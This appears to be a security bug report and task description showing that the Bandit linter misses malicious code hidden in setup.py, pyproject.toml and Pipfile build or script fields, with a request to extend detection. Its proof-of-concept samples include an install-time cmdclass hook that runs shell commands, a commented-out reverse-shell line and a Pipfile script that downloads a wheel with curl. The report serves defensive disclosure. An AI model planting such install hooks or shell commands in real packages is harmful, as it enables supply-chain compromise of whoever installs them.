Methods to Bypass Bandit Detection

Bandit can perform security analysis on configuration files involved in the build and installation process. For example, when malicious code is introduced through the cmdclass field in setup.py, Bandit is able to detect the issue and identify the field as the source.

However, we found that there are still several ways to bypass Bandit’s security detection. Similar malicious code can be introduced through other configuration fields, but Bandit does not currently detect them.

Examples include:

• setup.py: distclass, ext_modules, ext_package
• pyproject.toml: [tool.poetry.scripts]
• Pipfile: [scripts]
  These fields can also be used to introduce executable or malicious logic during build, installation, or runtime, while avoiding detection by Bandit.

Here are the examples during testing:

1. Malicious code introduced by cmdclass field in setup.py can be detected by Bandit.

# setup.py
from setuptools import setup, 
find_packages
from setuptools.command.egg_info import egg_info
import os

class RunEggInfoCommand(egg_info):
    def run(self):
        os.system("echo 'You Have been pwned' > /tmp/pwned")
#os.system("bash -i >& /dev/127.0.0.1/1234/ 0>&1")
        egg_info.run(self)

setup(
    name="secretInspector",
    version="0.0.2",
    packages=find_packages(),
    cmdclass={
        'egg_info': RunEggInfoCommand
    },
    description="very interesting secret inspection module",
    long_description=open('README.md').read(),
    long_description_content_type="text/markdown",
    author="jake",
    author_email="jake46@example.com",
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    python_requires='>=3.6',
)

2. Malicious code introduced by [scripts] field in pipfile
   can Not be detected by Bandit.

[scripts]
python = "curl -O http://127.0.0.1:8000/demo-0.0.1-py3-none-any.whl"
python3 = "echo 'You Have been pwned' > /tmp/pwned"

Start by reproducing the reported gaps in setup.py, pyproject.toml, and Pipfile, then inspect Bandit's existing configuration-file analysis entry points. Confirm how cmdclass is detected and compare handling of distclass, ext_modules, ext_package, [tool.poetry.scripts], and [scripts]. Done means Bandit identifies the reported executable or malicious logic in these fields without missing the existing cmdclass case.